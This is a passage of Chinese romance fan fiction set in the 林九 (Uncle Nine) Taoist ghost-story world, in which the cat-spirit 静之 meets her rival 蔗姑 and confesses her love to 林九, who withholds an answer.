边说着,他朝那群灵婴唤了一声: “适可而止啊。” 灵婴们敬他,又怕他。 见他叫停,一溜烟都跑得没影了。 秋生和文才这才软着手脚,夹着腿站了起来,狼狈地提上裤子。 可能是知道自己干了错事,所以不敢绕过坐在门边上的林九直接跑出去,只是垂着头站在原地等着挨训。 “你们啊……”,林九一口饮下手中的那杯温凉的茶降降火气,这才收回手站起身子,横眉冷对二人: “幸亏你们抓弄的都是善良的灵婴,若是惹到上头那三个,可有你们苦头吃的。” 静之走了过去,看了看上头那三个被围住眼睛的灵婴说: “我好像从来没见过那三个出来呢。” 林九缓缓走到她身边,背着手,昂起头看着那三小只,悠悠叹了口气,才解释道: “那三个灵婴多次被他们的娘给打掉,投不了胎,所以现在变得穷凶极恶,若是放出来的话,后果不堪设想。” 静之蹙着眉,突然觉得他们还挺可怜,“那怎么办呢,就这样一直放着吗?” 林九摇摇头,接着说: “这三个灵婴必须要修炼够一千日,才能够化解他们的戾气。” 静之点了点头,既然林九这么说,那么她离远一些就好喽。 林九却不这么认为,他看着静之身后扶着她腿抖抖索索站起来的小豆丁,思量了一会儿,朝侧边两个装鹌鹑的徒弟说: “明天早上你们把这些灵婴都送到蔗姑那边去,省得你们两个一天到晚给我捣蛋!” 静之问道:“蔗姑是谁呀?” 文才迅速举起手来,老实回答: “那不就是我师父的师妹嘛,她喜......” 然而,文才的话尚未说完,一旁的林九便狠狠地瞪了他一眼。 被林九这么一瞪,文才瞬间变得战战兢兢,原本到嘴边的话语也硬生生给咽了回去。 此时的静之,狐疑地看了文才一眼,接着又顺着文才那惊恐万分的眼神望向了林九。 “喜什么?” 文才哪里还敢继续说下去,连忙改口道: “没,没什么!师父,我先去洗澡了。” 说着,文才便如脚底抹油般快速溜掉了。 这时,静之突然回想起上次四目道长所说过的事情,林九有两个师妹都对他心怀情愫。 如此想来,如果这个蔗姑能够负责看守灵婴的话,那么想必她应该就是与林九一同学习道术的那位师妹无疑了。 等到文才离开之后,静之便将目光转向了秋生: “那个蔗姑,现在在哪里呢?” 秋生不假思索地说:“就在隔壁镇上呗。” 听到这话,静之心头猛地一惊,脑海中的警铃声犹如惊雷般“叮”的一声响起。 她暗自思忖着: 距离竟然如此之近? 难道说这个蔗姑真的是想要借助近水楼台先得月的优势,从而俘获阿九的心吗? 想到这里,静之的心中顿时涌起一股莫名的紧张感和危机感。 不行,知己知彼,百战百胜。 “明早我没事,我跟你们一起去。” “哈?” 秋生震惊地看着静之,又偷偷瞄了一眼林九。 刚瞄那么一眼,他就被林九的眼神吓一跳。 不是,他说的是事实啊…… ”还杵在这里干什么,还不收拾一下地板,一股尿骚味。” 林九一边说着话,一边用眼角余光偷偷打量着静之的脸色。 看到她脸上并没有露出丝毫生气的模样之后,他那颗一直悬着的心终于缓缓落回了肚子里,长长地舒出一口气来。 然而就在这口气吐出来的时候,他心中忽然又涌起一股异样的感觉—— 自己怎么会如此在意她是否生气呢? 明明两人之间并没有什么特殊的关系…… 想到这里,他不由得暗自懊恼起来,觉得自己实在是有点大惊小怪了。 不过很快,他就强行将这些纷乱的思绪从脑海中驱赶出去,告诉自己绝对不能再继续深入思考下去了。 定了定神后,他赶忙转过头,尽量让自己的语气听起来显得自然些,对着静之说道: “去休息吧,都走半天了。” 站在一旁的秋生见状,则忍不住撇了撇嘴,心里头暗暗嘀咕道: “哼,真是个两面派!既不肯接受人家姑娘的心意,又害怕惹人家不高兴,还这般关怀......真不知道师父究竟在捣鼓些啥名堂!” 一边想着,秋生还故作老成地摇了摇头,然后便认命般地转身走出房门,到院子里打水准备清洗地面去了。 一时间,整个房间里变得鸦雀无声,安静到只能听到两个人的呼吸声。 林九站在原地,只觉得浑身都不大自在。 犹豫几秒之后,他最终还是迈步朝着门外走去。 可谁知刚刚才迈出没几步远,身后却突然间传来了静之那清脆悦耳的声音。 “阿九,今晚我很开心。” 听到这句话,林九的身形猛地顿住了。 过了好一会儿,他的嘴角不自觉的扬起。 “……那就好。” …… 次日清晨,秋生生怕静之真跑去蔗姑那儿,毕竟俗话说得好,一山难容二虎嘛。 而且这俩平时对他们都挺不错的,他担心到时候会闹得不可收拾,所以和文才天还没亮就起床了。 收拾了满满一大车的灵婴,蹑手蹑脚地就从后门溜走了。 尽管他们的动作再轻,也逃不过林九这个修道之人的耳朵。 林九老早就听见了远去的车轮声,他慢悠悠地推开门,下意识瞅了一眼隔壁的房门。 还关着呢。 还好还好。 他刚松了一口气,突然就觉得有点不对劲。 不对,灵猫的听觉可比他好多了,他都听见了,那她…… 他赶紧快步走到她门前,犹豫几下后,才试探性地轻轻敲了两下门。 没人回应。 等了几秒,实在等不下去了,他轻轻一推。 门没锁?! 林九心中浮起一丝不详的预感。 他探头一看,屋里空荡荡的。 他心里“咯噔”一下,暗叫不好,这回怕是要完了,毕竟他师妹可不好惹。 此刻,林九的内心却犹如一团乱麻。 一方面,他又想着跟着出去看看情况,另一方面,蔗姑昔日在茅山时对待他的种种行径,如影随形般萦绕心头,让他心生忌惮。 更为关键的是,他与蔗姑之间并无任何暧昧,就这么跑出去,是不是欲盖弥彰了? 就在他纠结的时候,静之这会儿正悠悠地跟在秋生和文才的后面。 那两个傻小子,这会儿谈天说地,笑得正开心。 “哈哈,我就说静之昨晚太开心,一大早起不来的吧,幸亏我有先见之明!” 文才挠了挠头,语气中仍透露出些许迟疑: “可是咱们这样做是不是有点不太好?毕竟人家昨晚都说好了要一起去的,咱没等她就先……” 未等文才把话说完,秋生呸了一声,将口中嚼着的狗尾巴草随意地吐到地上。 “你怎么不开窍啊,难道你看不出来吗?蔗姑和静之都喜欢师父,要是让她们俩凑一块儿去了,那场面还不得炸开锅呀!到时候万一真打起架来,你帮谁?” 他有些心虚的样子,四下看了几眼,见没人,这才凑近文才耳朵边悄悄的说: “你也知道,静之跟蔗姑虽然对我们挺好,但她俩脾气其实有点像,都挺冲的。要是真见到了,那不是一点就着吗?” 文才仿佛被说服了的样子,点了点头,说了声也是哦,就不再说话了。 …… 义庄孤零零地矗立在两座镇子之间,位置颇为特殊,距离隔壁镇很近。 这两人脚步匆匆,不到半个时辰便抵达了镇子口。 此刻时间尚早,但街道上已然热闹非凡,人头攒动。 不少人早早起来买菜、卖菜,还有各种售卖早餐的小摊贩忙碌不停。 阵阵香气扑鼻而来,热气腾腾的各类早点让人垂涎欲滴。 然而,这二人纵然心中对那些美食充满渴望,却不敢有丝毫懈怠,仍小心翼翼地推着装满婴灵的车子缓缓前行。 因为他们深知,若是不小心打碎哪怕一个灵婴雕像,自己的屁股恐怕就得遭受林九的一顿毒打。 他们艰难地穿过熙熙攘攘的闹市,好不容易来到一处岔路口。 向右一拐,进入了一条狭窄而幽静的小巷。 刚走进巷子没多远,远远地便能望见一座庙宇。 静之心想:“想必那里便是蔗姑的所在地了。” 只见眼前这条小巷笔直延伸,一眼望不到尽头,中途没有任何拐弯之处。 跟在后面的她心生警觉,担心会被前面的二人发现。 她身形一闪,轻松越过围墙,悄无声息地绕到了那座庙宇的后方。 然后,迅速伏下身子,敏捷地落到了屋脊的另一侧,然后从屋顶的天窗朝里头望去。 看到了! 只见底下一位穿粉色碎花衣裳的女人站在桌案前正上着香。 她低声念叨一通后,突然一个猛抬头,直直望向屋顶。 静之心一惊,赶紧撤回一个脑袋。 心中暗道,她的感官如此敏锐,不愧是林九的师妹! 看来,这下不好对付了…… 第102章 情敌相见,来个暖冬先 “蔗姑,蔗姑啊,我老公昨晚出去之后,一回来就变这样了,是不是撞鬼了,你帮我看下吧!” 就在这时,一中年女子搀着一个神情恍惚,浑身瘫软的男子从门外走了进来,吸引走了蔗姑的注意力。 见她迎到门口去,静之又悄悄地将头伸了一点过去。 嗯,脸圆圆的,皮肤白白的,眼睛大且有神,这不是挺可爱的嘛。 阿九这都不喜欢? 不对不对! 这个叫蔗姑的姑娘是情敌来着,她在想什么呢! 静之甩了甩头,把心里对蔗姑滋生出来的一点好感掐灭,接着往下看。 看了好一会儿,她才明白那个瘦的跟猴儿似的男人,分明不是撞鬼,而是去了如意居找什么小翠。 她刚刚可是路过如意居了,虽然大早晨的没人出来揽客,但根据蔗姑和那个男的悄悄话的意思,那个如意居,估计就是这个镇上的青楼了。 渣男啊! 看蔗姑与他相熟的样子,静之心想,她该不会要帮这个男人打掩护吧? 如果真是这样,她可要出手了哦。 静之捻起旁边一颗石子,瞄准那个渣男的后脑勺,刚想发射—— “没关系,你相公这是撞鬼了,驱邪治鬼可是我蔗姑最大的本事,你看着好了!” 下一秒,只见蔗姑毫不犹豫地抬起脚,猛地踹向面前之人。 紧接着,她手脚并用,如疾风骤雨般展开了一阵拳打脚踢。 静之一颗石子捻在指间蓄势待发,整个人看得一愣一愣的。 刚刚被她掐熄的那点子好感突然死灰复燃。 好,好姑娘啊……怎么办…… 底下。 这边蔗姑刚刚成功地把那对夫妻给打发走了,还没来得及喘口气,突然之间,又有一男一女走了进来。 那个男人贼眉鼠眼,一双眼睛里透露出淫邪的光芒,嘴里更是不干不净地叫嚷着: “波波,波波!” 一边说着,一边还伸出那不老实的咸猪手,眼看就要碰到蔗姑的屁股后面去了。 一直冷眼旁观的静之见状,眼神猛地一凛,手指轻轻一动,那颗早就捏在手中的石子犹如闪电一般,穿过天窗直直地飞射了进去。 只听得一声惨叫响起—— “啊!” 原来是那男子被石子打中,吃痛之下不得不迅速收回手,脸上满是惊恐和后怕之色。 他一边揉着手,一边像只受惊的兔子一样,抬头四处张望着,想要找出究竟是谁暗中偷袭他。 蔗姑听到惨叫声后也是心生疑惑,她实在想不通为什么屋顶上那人会出手相助于她。 这个人到底是谁呢? 又是怀着什么样的目的来帮助她? 该不会,是林正英吧? 死相! 她缠了他这么多年,他终于开窍了? 她拿了一串气球敷衍这个男子后,就快步走到墙角,正要拿梯子爬上去的时候,又又又有人找上门了! “蔗姑!” 蔗姑把梯子摆了回去,又朝楼顶投去了一个得意的笑和媚眼,这才不耐烦地朝走过来的一男一女说: “哎呀,一大早的有完没完,你们又要干什么?” 屋子里头的三人正忙着“问米”,楼顶的静之咕咚一声咽了口口水。 蔗姑刚刚什么意思,抛啥子媚眼? 难不成是看上她了? 难道她不是来拆散这个家的,是来造一个暖冬的? 正当她胡思乱想的时候,楼下突然传来一阵阴气。 静之迷离的眼神突然变得锐利,当她又悄悄伸出头朝里看去时,里头的场景却惊掉了她的下巴。 此时蔗姑居然趴在桌子上,撅着屁股让那个胖男人猛抽,嘴里更发出了销魂的呻吟: “老公,好舒服呀,打我,快打我!” 这声线分明不是她自己的声音,静之眉头渐渐紧蹙,这是附身于她身上的灵魂搞的鬼吧? 虽然这姑娘姑是自己的情敌,但一未出阁的女子被这般对待,静之实在看不下去。 于是她又捻起一颗石子朝着那男子的手掷了过去。 “什么人!” 那男子刚一抬头,就看到天窗处伸出了一张猫脸,和垂下来的一条猫尾巴。 最主要的是,那猫脸之下,是人身! 只听闻两声凄厉的惨叫,那对未婚夫妻虽然哆嗦着腿,却是跑得比兔子还快。 “这回还不逮到你!” 蔗姑恢复神智后,立马飞身上前,扯住那条猫尾巴用力往下一拽。 霎时间,一穿着嫩黄色裙子的漂亮猫耳姑娘就落入她怀中。 两人面面相觑。 静之率先打破沉默,她轻轻挥了挥手,“嗨!” 蔗姑回过神,一把将她放下,“嗨个屁,你谁?” 本想拿着法器一把将这猫妖收了,但是这妖刚刚帮了她两次,这会儿她实在不好意思动手。 只能后退两步,一脸戒备地看着她。 静之清了清嗓子,刚想说话,秋生和文才风风火火推着推车快步走了进来。 见到二人仿佛正在对峙,秋生赶紧跑过去站到二人中间,“欸嘿嘿,这个大家都见过啦?要不要我给你们介绍一下?” 蔗姑凑到秋生旁边怼了怼他胳膊,眼神却直直盯在静之身上,“喂,你认识啊?” 秋生看了看两人的表情,好像都没有生气的样子,他不免感到疑惑,不过该打圆场还是得打圆场。 于是,他手一挥指向静之,“呐,这是我师父的……助手。” 蔗姑惊得瞪大了她那双大眼睛,“哇靠,林正英搞什么鬼?” 当面不好说人坏话,她又突然小小声嘀咕,“竟然叫一只猫妖当助手,虽然是个好的,但有两个徒弟了,还不够使唤的吗?” 见静之笑眯眯地看着她,她也不好对人家发作,只能环着胸,朝秋生翻了个白眼说:“今天怎么有空来了?” 秋生见二人没有打起来的意思,大大松了口气,这才侧着身子,现出他身后一大车的灵婴塑像说: “师父叫我送灵婴过来,你这里供奉王母娘娘,来求子求姻缘的多,说灵婴放在你这里更容易被收养。” 蔗姑莫名瞅了静之一眼,又没好气地埋怨道: “他自己怎么不来,拿我这儿当托儿所啊?” 秋生看了静之一眼,然后凑近蔗姑的耳朵说:“你很想见我师父?要不,我帮你想想办法?” “秋生!” 身侧传来一声静之的怒吼,秋生抬头干笑了两下,“开玩笑的啦。” 蔗姑眯了眯眼,女人的直觉突然启动。 不会吧? 林正英那老东西竟然还有这么年轻的姑娘喜欢? 就在这时,静之突然站了出来,朝她点了点头说:“你好,我叫林静之。” 她顿了一下,又一本正经的说:“我喜欢阿九,我知道你也喜欢他,我们公平竞争!” 蔗姑一梗,又打量了一下她的脸蛋跟身段。 完了,输了! 不对,她还没输,她可跟林正英那家伙十几年师兄妹,这其中的情谊可不是这猫妖能比的! 于是她也站了出来,一抹鼻子,双手叉腰,“没问题!” 眼看着局面就要失控,秋生和文才赶紧架着静之往外跑。 秋生还回头朝蔗姑露出一个尴尬的笑容说: “我们得赶紧走啦,不然回去晚了师父要骂人咯!” 蔗姑看着渐渐恢复成人形,更显清丽的静之,眼里瞬间浮上一抹凝重。 劲敌啊,之前的莲妹就算了,现在还出来个静之? 看来,她不能再坐以待毙了,得主动出击才行…… 第103章 她表白了 “放我下来!像什么样子!” “哦哦。” 秋生放下静之后,双手抱着头,看着她的背影走了一会儿,心里实在好奇,于是凑近她耳边问: “怎么,你不生气啊?” 静之坚定摇摇头说: “阿九很好,跟他相处久了的人,都会喜欢他的,有什么好生气的?” 秋生啧啧两声,像是第一天认识她似的,不住地打量她,又说:“我看你陷得比她深。” “……少管我!” 瞧见刚刚蔗姑那个战意蓬勃的眼神,静之不由得正视起了她对林九的感情。 蔗姑都这样了,她怎么能退缩呢! 静之眼神到处搜寻着路边的各种小吃和店铺,嘴里不禁发问: “诶,你们师父到底喜欢什么啊?” 秋生跟文才愣住了。 想半天,除了个看戏,竟想不出他们师父有什么爱好。 是他们平时没仔细观察,还是他们师父藏的太深? 静之停下来,环着胸,皱眉看着两个沉默的人,“说话呀!你们都呆在他身边这么久了,一个爱好都想不出来?” 秋生挠了挠头,有些迷茫地说: “……一时之间我还真想不起来,他除了爱看几场戏,对其他东西好像都淡淡的。” 边说着,他突然一拳捶向文才的肩膀: “喂,你从小就跟着他,你知不知道啊?” 文才被怼得后退一步,他揉着肩膀,倒着眉,皱巴着老脸,同样摇摇头。 静之叹了口气,“算了,吃个早点我们就回去吧。” 秋生:“你请客?” 静之瞪着死鱼眼看他,“不然呢?借你的钱,你都给你偶像了。” 秋生丝毫没有后悔的样子,他耸耸肩,快走两步,来到街边卖馄饨的小吃摊。 这摊子右侧支着三张小桌子,桌子老旧,但擦的锃亮。 也正因为卫生过关,所以这会儿已经坐满了两桌老客,老板正在滚水前搅动着锅里的东西。 至于为什么知道是老客,那两桌客人对着老板一口一个老杨,静之用膝盖想也知道。 就在这时,秋生三步并作两步,快速来到那块空着的桌子边,一个跨步坐到条椅上,朝老板叫了一声,“老杨,三碗馄饨。” 文才入座,静之若有所思看着他俩熟稔的动作,“你们经常来这里?” 秋生:“是啊,每次任家镇的婴灵收太多了,师父就会叫我们送过来,来了不说十次,也有八次了。” 她抠着手指甲,眼神投到老杨下馄饨的手上,装作不经意问了一嘴,“那蔗姑喜欢什么,又讨厌什么?” 文才眼神直直的望着邻桌刚上的两碗热腾腾的馄饨,嘴里下意识回答: “喜欢我师傅,讨厌莲妹呗。” 莲妹? 静之收回眼神,看着文才的锅盖头若有所思。 这一听就是个女孩子的名字。 “莲妹是谁?” “是——” 秋生眼疾手快,从刚上的汤馄饨里,舀了一颗迅速塞他嘴里。 “烫烫烫!!!” 文才未说完的话被馄饨堵了回去,被烫红的嘴正不住地往里吸气,硬是把那颗滚烫的馄饨吃下去了。 就在这时,一碗馄饨被端到了她面前,静之垂眸看着那在汤中沉浮的葱花,十分冷静地问: “莲妹,是阿九修道前的那个师妹吧?” 俗话说得好,小孩都是看着大人屁股长大的,有样学样。 若是阿九不这样叫,文才怎么会跟着这样学。 若不是对那个莲妹有情,这个“妹”字,一定不会从他口中说出来。 想到这里,静之周身气势越发冷凝。 秋生和文才头也不敢抬,一碗汤馄饨硬是让他们吃得寂静无声。 两人对了个眼神,瞬间达成共识。 暴风雨前的宁静啊。 静之沉默了一会儿,叹了口气,心想着,怨不得别人,只能怨她自己。 此时,她心中暗恨自己怎么没早点穿过来,实在是错过他太多时光。 “吃快点,早点回去了。” 才出来不过一个时辰,她就想他了。 她的吃相文雅,但速度挺快,不一会儿就吃完了,甚至还比文才快了一点。 站起付钱后,眼神一转,看到对面的店面,她心里突然有了个想法。 “我买点东西,等我一会儿。” 情敌一个接一个,她不搞快点不行了。 …… 义庄。 林九一早上,干什么事儿都无法专心。 打了一会儿太极,却怎么也沉不下气,动作越发凌乱,他索性停了下来,去书房。 画符,画没两张就看一看门外。 后来索性走出来坐在亭子里,拿着烟杆子吧嗒吧嗒抽着烟。 眼瞅着一袋烟叶都快抽完了,耳边才听闻外头三人的说话声。 林九赶紧敲了敲烟杆子里头的烟灰,站了起来,莫名又举手把空气中残留的烟雾挥散。 “阿九?吃饭了吗?” 静之提着一袋子东西跨进院子。 林九没有说话,只是装作平常的样子,视线划过三人,却在她脸上多停留了两秒。 她好像…心情还行的样子。 “怎么了?我脸上有什么东西吗?” 静之把东西放在桌上,然后摸了摸自己脸颊。 他赶紧移开眼神,一颗莫名悬着的心,终于放了下来,“没什么。” 她笑了笑,把一袋子吃的都打开来,往他的方向推了推,“我早上出去得太早,给你买早饭回来了,饿坏了吧?” 林九看着桌子上依旧热气腾腾的馄饨,和一碟叉烧肉,心里有些讶异。 她怎么知道,他喜欢吃什么? 明明他从未表现过。 而且隔壁镇怎么说也得走半个时辰,这馄饨还热着,她是特地赶回来的吧…… 讶异归讶异,他眉头一松,轻轻朝她说了声谢谢,便坐下慢慢吃了起来。 这回她也不远远的坐在桌子另一头了。 要主动出击的嘛。 所以,她落坐在侧面紧邻他的位置上,双手撑在桌上,捧着脸一脸微笑的看着他。 林九喝汤的动作顿了一下,接着又慢条斯理吃了起来。 见他边吃着馄饨,手还不时的往那碟叉烧伸去,静之就知道,她猜对了。 阿九这辈子的口味,还跟上辈子一样呢。 于是她从身后掏出一罐子碧螺春,和一个崭新的小茶壶,往他的方向推了推。 她放轻声音,试探的问: “不知道你喜欢喝什么,我买了点茶叶,给你泡一壶试试?” 边说着,她还轻轻揭开盖子,故意伸到他鼻子附近晃了晃。 霎时间,一股茶叶的清香从罐子里飘了出来,林九的眼神肉眼可见地亮了起来。 静之瞬间意会。 宾果,又猜中了! 于是盖上盖子,拿上那个紫砂小茶壶站起身子。 刚想走去厨房,她突然转身,偷偷伸头到林九的背后,轻轻耸动了下鼻子。 “阿九,少抽点烟,对身体不好。” 侧首见她皱眉的样子,不知是不悦,还是关心,也或许都有。 林九下意识微微点头。 就在这时,余光却突然瞟到柱子后头捂嘴偷笑的秋生和文才,林九老脸一红,放下勺子,肃了脸色,试图挽回一点形象,朝他俩沉声说道: “我看你们都恢复得差不多了,还不开始练功?” “啊?” 二人瞬间收回嘴角的笑意,灰溜溜从柱子后走了出来,练起了拳脚。 林九接着回头吃。 回头的一瞬间,二人瞬间卸了劲儿,有一下没一下挥动着手脚,眼神直往亭子这边瞅。 静之泡完茶水,惯性地包了一条手帕在外头递给他,“喝吧,去去油。”边说着,她又忍不住提醒一句: “小心些,有点烫。” 林九看人家都端到他面前了,还这么贴心,他不好意思拒绝,只得接了过来,礼貌性饮了一口。 入口清香,顺滑不涩喉。 他不由赞叹一句:“好茶!” 静之接着捧着脸看他,温柔地说: “你喜欢就好。” 林九捧着茶壶的手一抖,差点烫到自己。 静之眼疾手快,双手连同茶壶一起,捧住了他的手稳住。 手心的温热传到脑子里的一瞬间,她有些冲动,想跟他直接告白。 但理智,以及他迅速往回撤的力道又让她快速打消了这个念头。 一句“我喜欢你”含在嘴里,迟迟不敢说出口。 她想,现在说的话,会被他拒绝的吧。 她深吸了一口气,缓缓放开他,轻声说道:“小心些,别烫到自己。” “我,我去教他们练功。” 此时林九慌的一批,脑子里一片空白,心跳也快得惊人。 他放下茶壶,木着脸就朝秋生二人走去。 秋生和文才也没料到,都握上手了,居然这么快就分开了。 于是摸鱼的两个人当场被抓包。 见到他俩划水的动作,林九终于回过神,一人给了他们屁股一脚后,便开始在前头示范。 明明已经在她面前晨练过很多次了,林九却觉得今天却特别地不自在。 一招一式略显僵硬,练得他自己眉头紧锁。 主要耳边还时不时传来秋生和文才的呲笑声,让他额头青筋直跳。 “自己好好练,再偷懒,就多蹲半个时辰马步!” 说罢,他一个收势,直接回了书房。 她对他的影响,好像越来越大了,怎么回事? …… “别看啦,你从回来到现在,眼睛就没离开过我师父,还看不够啊?” 静之揪下身边的树叶,指尖一个用力,朝秋生不停眨着的眼睛弹了过去。 “就看!哼!” 她站起身子,抄起桌上的那一小壶还有些烫的茶水,朝林九的书房走去。 不知是否心神不宁,林九忘记关门了。 她鬼使神差地,也不想敲门,就想看看他私底下都在做些什么。 一脚踏进房门,就看到他极速往身后藏起一个东西。 眼尖的她,看到了那蓝白条纹一角。 她不动声色走了过去,将茶壶轻轻放在他书桌顺手的一角。 跟她独处一室,林九总是莫名的紧张。 他腿弯顶开椅子,有些局促地站了起来,一只手却背在身后。 语气依旧平静无波:“……什么事?” 静之暗笑一声。 他的演技,可比前世菜了不少。 那耳朵为什么又红了,呵。 于是,她缓缓绕过书桌,面色比他平淡不少,却步步紧逼。 直到林九一退再退,退到了墙边上,她才一手撑墙,缓缓凑近脸,凝视着他的眼睛问: “阿九……你手上拿着的,是我的手帕吧?” 林九几乎是屏住呼吸,他微微侧过头,避开她轻柔喷在脸上的温热气息,装作若无其事说:“你看错了,是我的,这种样式很常见。” “哦?可是我的那条,右下角绣了个之字呢。” 此话一出,她果然看到他瞳孔微微缩紧了一下。 静之的心跳渐渐加快。 她平淡的面色瞬间消失,脸上瞬间泛起一抹喜意,声音却轻了又轻的问他: “为什么不还给我?为什么要偷偷看?你是不是……也喜欢我?” 一连三个问题,把林九炸得满脸通红。 此时的他,恨不得墙上有条缝能让他直接钻进去。 静之看着羞得脸红脖子粗的他,想亲亲他,想搂他的腰,但是又怕老头羞到跑掉。 于是,她轻轻包住他放在身侧的一只拳头。 她放柔声音对他说: “阿九,我本不想今天跟你说的。但是,既然你给了我希望,我能不能问——” 他突然出声:“不能!” 声音有些大,静之被他吓得眨了两下眼睛,两手却固执地掰开那只挣扎的手,然后紧紧牵住。 他流汗了呢。 是紧张的吧。 为什么紧张,是怕心思被她瞧见了? 她喜不自胜:“我就要说,林九,我喜欢你!很喜欢很喜欢!男女之情的那种!” 一句话,把他所有能逃避的方向堵得死死的。 林九整个人都僵住了,包括脑子。 还没等他想明白要怎么回复她,就见她轻咬了一下唇瓣,然后一脸期待地看着他: “阿九,你呢?你对我……是什么感觉,有没有……喜欢我一点?” 他沉默了。 静之皱着眉盯了他一会儿,等着他的回复。 却见他不知想了些什么,脸上的红意渐渐退却,一张脸也恢复到了平时的面无表情,眼神也逐渐冷静下来,敢与她对视了。 这回,轮到她慌了。 她赶紧放开他的手,退后两步,直到后腰抵上了他的椅子,才慌乱地说: “你不回答没关系,你别,你别讨厌我。” 似是害怕极了在他眼里看到一丁点儿厌恶,静之赶紧转过身去,“你就当我没问过吧。” 她的语气里是止不住的失落与后悔。 他每次提到蔗姑的时候,语气里总带去无奈,眼神里也是避犹不及。 她不想,最后两人也变成这样…… 林九看着她垂头丧气的背影,死死抑制住想要抱抱她的冲动,语气却依旧平淡: “没什么事的话,就出去吧。” 静之头垂得更低了,过了一会儿,才声音微哑的说了声好,然后狼狈的加快脚步走了出去。 门合上的一瞬间,林九像是站立不稳似的,一手扶上椅背,双眼紧闭,牙根咬得死紧。 过了许久,才悠悠叹了口气,走回书桌前,把手中的帕子藏到了最底层的抽屉里。 林九内心:静之啊静之…… 再对他这般好,他就要忍不住自私一回了…… …… 秋生看着抱膝坐在亭边上,眼睛红红的静之,有些疑惑问道: “你别哭呀,不是说要主动出击吗?难道师父拒绝你了?” 静之胡乱抹了一把眼角的泪水,把脸别到一边去,淡淡地说: “没有。” 但是跟拒绝差不多了,都怪她逼得太紧了。 “欸,你别哭啊,快擦擦。” 秋生递过去一块深蓝色的手帕想给他擦眼泪,静之却突然想起被林九藏起来的那块手帕。 于是,她轻轻推开秋生的手,然后双手圈在嘴巴旁边,朝林九的书房大喊: “林九,既然已经明确告诉你了,没得到你的答案之前,我是不会放弃的!!!” 第104章 这场战争,是谁赢了? 书房内的林九,站了许久,才慢慢拉开椅子坐下。 右手摩挲着桌面上的烟杆子,想抽一口解解心中的苦闷,突然又想起她刚刚的劝告。 于是,几十年老烟枪的他,默默松开了那柄被盘得包浆的烟杆,他这一放,手背却一下子碰到了已经变得温热的小茶壶。 视线缓缓下移。 那个紫褐色的茶壶上刻着一簇竹丛,但只有一半露在外头,剩下的一半隐没在蓝白相间的帕子里。 林九看了许久,直到那壶茶水都凉透了,他才轻轻抬起手,将卷起来的帕子一点点解开,然后抚平上面的褶皱。 突然,指腹碰到一点凸起。 他放开手绢,轻轻戳了戳那个小小的“之”字,脑子里却浮现出刚刚秋生在外头说的话。 秋生叫她别哭。 她竟是又被他惹哭了吗? 林九愣住了。 为什么脑海里出现的词,是“又”? 这明明是她第一次哭不是吗? 想不通,便不想。 林九不是个爱纠结的人,几十岁的人了,克制情绪,有他自己的一套。 他紧抿着嘴,细细将那条帕子对折,再对折,然后与之前那条帕子收在一起。 一直这样下去不行,是时候该转移一下自己的注意力了,林九想。 于是,他提笔在黄符下写了什么。 不一会儿,符成。 他将符叠成纸鹤形状,然后伸出剑指,默念咒语催动。 纸鹤仿佛被注入了生命力般,身体微微鼓胀起来,翅膀扇动着,越飘越高,最后,慢慢朝半敞开的窗口飞了出去。 …… 另一边。 静之说要主动出击,定是说到做到。 除了林九上厕所和洗澡,她就默默跟在他三米左右的位置。 近了,怕被他恼。 远了,她又不甘心。 只是以前叽叽喳喳的她,变得越发沉默了,也只有秋生和文才看不下去,故意惹她生气一下,她才会骂上两句。 大多数时候,她呆在林九身边,总是不发一言。 被拒绝怕了,此时,她只想等他一个答复。 林九却不敢应她。 也不知道该怎么跟她说什么好。 他都不知道自己是怕她哭,还是怕拒绝了她,她会直接走掉…… 有时候,他忙活手头上的事儿时,她甚至就坐在他旁边修炼。 林九甚至觉得这样也好,不耽误他,也不耽误她。 于是他也这样任由她跟着了。 两人就这样僵持了两天。 直到第三天早上。 他的纸鹤终于回来了,是跟着一位中年男子一起回来的。 “是秋生啊,好久不见。” “黄道长,怎么有空过来?” 黄道长指了指院子里正在打太极的人,“不是你师父发信叫我过来一聚的吗?” 秋生看了林九一眼,又偷偷瞄了一眼靠在柱子盯人的静之,他忍不住叹了口气。 见黄道长一脸疑惑,他赶紧将他引到庭院里,“你先坐坐,我去泡茶。” 秋生转身走到林九身边,悄悄对他说说:“师父,人来了,招呼一下?” 林九停下动作,转身朝黄道长走去。 期间经过静之,他暗暗捏了下掌心,面上却没有什么变化。 秋生就爱凑热闹,一壶茶水泡的飞快,他将茶壶端到桌上后,边跟着坐到黄道长旁边,听他师父跟黄道长聊天。 也可以说,秋生只是个纯纯的搬运工。 静之习惯了在他锻炼后,端来茶水给他,这会儿茶水早就备好了。 林九未饮茶,一吸鼻子,就知道是她泡的,于是眼睛的余光透过黄道长的肩膀,投到他身后的静之脸上。 刚瞄那么一眼,就看到她无神的眼睛突然发亮,痴痴地看着他,一副欲言又止的样子。 林九心跳霎时漏了一拍,赶紧将视线集中回黄道长脸上,装作若无其事问了一句: “……你刚刚说什么?” 黄道长一进来的时候,就看到了那个白发女子。 不过这次他来,他发现九叔连带着两个徒弟,与这女子之间的相处氛围皆有些微妙。 直觉告诉他,别问。 于是,他饮了一口茶水后,才朝林九又说了一遍刚刚的话: “广西腾腾镇,僵尸横行,那个镇子,现在已经人去楼空了,道兄仁义,最近不忙的话,何不带着秋生和文才一同去看看?” 林九本欲转换一下心情,不过思量了几秒,就点头应下。 两人刚聊没几句,文才突然从月亮门里冲了进来,边扶着墙喘气,边朝亭子里面的人喊: “师父,师父!蔗姑快病死了,她叫你去看看她!” 听到这话,林九和静之不约而同地蹙起眉头。 静之想起蔗姑三天前的面色,艳若桃李,红光满面。 不像是要死的样子。 她不会是故意要引阿九去的吧? 林九则是想到蔗姑以前多次用过这蹩脚的招数,他想,她这回肯定又在搞鬼,于是冷冷地对文才说: “不去。” 静之眉间一松,朝林九抿嘴一笑。 他好像看到了,不然怎么会突然低头捧起茶杯喝茶呢? 就在这时,文才朝一旁听八卦的秋生招招手,二人就从月亮门那块儿一同跑了出去。 黄道长:“道兄,蔗姑好歹是你师妹,这回,万一是真的呢?要不就去看看?” 林九眉头微蹙。 对蔗姑一直以来的死缠烂打,他早就不耐烦了,但心里确实有些对同门师妹的担忧,一时之间,竟没办法拒绝得决绝。 最终,他还是答应了。 静之萎得不行。 但那蔗姑虽是情敌,却也是个好人。 她无法眼睁睁地看着她去死,于是背上药箱子,死缠着林九说要一起去。 林九被她缠得实在没办法,只能让她一起跟着去了。 秋生和文才自从黄道长走后,他俩也跟着不见踪影。 林九二人锁了院子门以后,紧赶慢赶,终于到了隔壁镇子。 …… “叩叩叩。” 一阵不急不缓的敲门声响起。 这敲门的节奏,蔗姑熟悉得不行。 